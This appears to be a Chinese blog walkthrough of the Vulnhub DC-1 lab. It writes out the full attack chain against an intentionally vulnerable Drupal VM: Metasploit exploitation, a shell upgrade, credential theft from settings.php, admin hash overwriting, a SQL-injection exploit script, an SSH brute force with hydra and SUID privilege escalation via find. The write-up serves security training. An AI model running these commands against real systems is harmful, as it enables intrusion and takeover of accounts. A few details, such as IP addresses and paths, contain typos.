Vulnhub靶场DC-1练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用

0x00 准备

下载链接:https://download.vulnhub.com/dc/DC-1.zip

介绍:There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges.(一共有五个flags,最终目标是进入root用户的目录。)

启动以后如下图:

Vulnhub靶场DC-1练习_第1张图片

将网络连接设置成桥接模式。

0x01 主机信息收集

发现主机:netdiscover -i eth0
Vulnhub靶场DC-1练习_第2张图片
可以确定目标主机的IP为192.168.2.145,本机的IP为192.168.2.157。

探测目标主机开放的端口:nmap -sS -sV -A -n 192.168.2.145

Vulnhub靶场DC-1练习_第3张图片

可以看到开启了22端口,80端口。

0x02 站点信息收集

访问80端口:http://192.168.2.145:80

Vulnhub靶场DC-1练习_第4张图片

网站是drupal的内容管理框架,由PHP编写的。可以明显的看出cms。

用dirb扫描一下网站目录:dirsearch -u 192.168.2.145 -e *

Vulnhub靶场DC-1练习_第5张图片
Vulnhub靶场DC-1练习_第6张图片

没有很特别的地方,可以先放一放这些目录。

0x03 漏洞查找与利用

已经知道是drupal的cms了,可以去查找一下相关的漏洞。这里直接用msf。

启动msf:msfconsole

搜索drupal相关的信息:search drupal

Vulnhub靶场DC-1练习_第7张图片

选择模块4:use 4

查看选项:show options

Vulnhub靶场DC-1练习_第8张图片

需要设置rhost,目的主机的IP:set rhosts 192.168.2.125

再运行:run

Vulnhub靶场DC-1练习_第9张图片

获得普通shell:shell

Vulnhub靶场DC-1练习_第10张图片

查看一下文件目录:ls

Vulnhub靶场DC-1练习_第11张图片

查看flag1.txt文件的内容:cat flag1.txt

Vulnhub靶场DC-1练习_第12张图片

这个文件提示我们去看一下配置文件。搜索drupal的配置文件,/site/default/settings.php,查看这个文件的内容:cat /site/default/settings.php

提示不存在这个这个文件,也许是换目录了,于是搜索:find / -name settings.php

Vulnhub靶场DC-1练习_第13张图片

找到了文件目录,再查看一下文件内容:cat /var/www/sites/default/settings.php

Vulnhub靶场DC-1练习_第14张图片

可以看到数据库的相关信息。

现在是普通shell,接下来升级成半交互式的shell来登录数据库:python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

可以看到这个shell还只是普通用户(www-data),没有root权限。根据前面的提示进入mysql数据库:mysql -u dbuser -p R0ck3t

收集数据库中的信息:

显示所有的数据库:show databases;

切换数据库:use drupaldb

显示当前数据库的所有表:show tables;

看到一个user表,查看这个表的内容:select * from users;

Vulnhub靶场DC-1练习_第15张图片
Vulnhub靶场DC-1练习_第16张图片
Vulnhub靶场DC-1练习_第17张图片

有两个用户,密码都加盐了。考虑给admin换个密码,或者添加一个和admin有一样权限的用户。

方式一:给admin换个密码123456

数据库里的密码是加密的,先找到drupal的加密文件/var/www/scripts/password-hash.sh,这个脚本是php写的,还能用php加上参数来运行,直接得到加密后的密码。所以用这个文件给123456加密:php /var/www/scripts/password-hash.sh 123456 (注意这里要先退出mysql)

Vulnhub靶场DC-1练习_第18张图片

框起来的部分就是123456加密后的内容了,复制一下: S S SDKLEads7QFQiqBpH37QAQhVt554FCSE.8KnfJsOr8FLgNbn/rIif

再进入mysql的drupaldb数据库的users表里,将name为admin的pass修改为上面复制的加密内容:update users set pass='$S$DKLEads7QFQiqBpH37QAQhVt554FCSE.8KnfJsOr8FLgNbn/rIif' where name='admin';

Vulnhub靶场DC-1练习_第19张图片

可以看到admin的密码已经更改为123456了。

方式二:添加一个admin权限的用户

drupal7版本有个sql注入的漏洞,可以添加一个admin权限的用户。Searchsploit会通过本地的exploit-db查找软件漏洞信息。在kali的终端里:searchsploit drupal 就可以查找drupal相关的漏洞信息。

Vulnhub靶场DC-1练习_第20张图片

利用这个脚本,path中有这个脚本的相对路径,前面的路径是/usr/share/exploitdb/exploits/,也可以利用命令查找这个脚本的完整路径:searchsploit 34992.py -p

Vulnhub靶场DC-1练习_第21张图片

再来看一下这个脚本的使用方法:python /usr/share/exploitdb/exploits/php/webapps/34992.py

Vulnhub靶场DC-1练习_第22张图片

添加一个名字为flag密码为flag的用户:python /usr/share/exploitdb/exploits/php/webapps/34992.py -u http://192.168.2.145 -u flag -p flag

Vulnhub靶场DC-1练习_第23张图片

可以看到插入用户成功了,可以进mysql里看一下是不是有:

Vulnhub靶场DC-1练习_第24张图片

用了上面两个方法以后,再去浏览器器中登录:http://192.168.2.145,用admin-123456也可以登陆成功,用flag-flag也可以登录成功。

Vulnhub靶场DC-1练习_第25张图片

可以看到已经登录成功了。找找看有没有什么有用的信息:

Vulnhub靶场DC-1练习_第26张图片

点进去这个flag3:

Vulnhub靶场DC-1练习_第27张图片

提示passwd和shadow文件有可以信息。

继续在msf的shell中查看/etc/passwd文件:tac /etx/passwd (cat是cong第一行到最后一行连续输出到屏幕上,tac是从最后一行到第一行连续输出到屏幕上。)

Vulnhub靶场DC-1练习_第28张图片

可以看到有个flag4用户。有两种思路拿到这个用户的密码,一个是爆破,一个是提权打开shadow文件查看这个用户的密码。

进行爆破:hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.2.145

Vulnhub靶场DC-1练习_第29张图片

爆破出来的可以登录的用户名和密码已经高亮显示出来了。

再去msf的shell中ssh连接(直接在kali的终端中也可以):ssh [email protected]

Vulnhub靶场DC-1练习_第30张图片

flag4文件的内容提示:你能用相同的方式登录root用户吗?也许可以,但是很难。

考虑SUID提权。

找到正在系统上运行的所有SUID可执行文件:find / -user root -perm -4000 -print 2>/dev/null

Vulnhub靶场DC-1练习_第31张图片

发现find命令具有suid的权限。那就用可以执行root权限的find命令来查找文件,做到suid提权。find命令也有执行命令的能力,-exec必须以 ; 来结束命令,由于分号在各个系统中有不同的意义,所以前面加反斜杠。

使用exec查看当前用户:find / index.php -exec "/bin/sh" \; (这里的index.php可以是任意文件名,只要是能在前面指定的根目录 / 下能确定找到的文件就可以。exec后面的命令不加双引号好像也可以。)

再用whoami命令看一下提权成功了没。

Vulnhub靶场DC-1练习_第32张图片

可以看到当前的用户为root。直接进入/root查看flag。

#0x04 思路总结

netdiscover探测目标主机IP,nmap查看主机开放的端口服务。浏览器访问站点进行站点相关的信息收集,用dirsearch扫一下站点的目录。上msf找模块利用。获得普通用户的shell,找数据库相关的信息,登录数据库,修改密码。网站登录用户,查找提示信息。用hydra爆破目标主机的用户密码,ssh连接目标主机,用find命令进行SUID提权。

你可能感兴趣的:(靶场,vulnhub,kali,web安全,网络安全)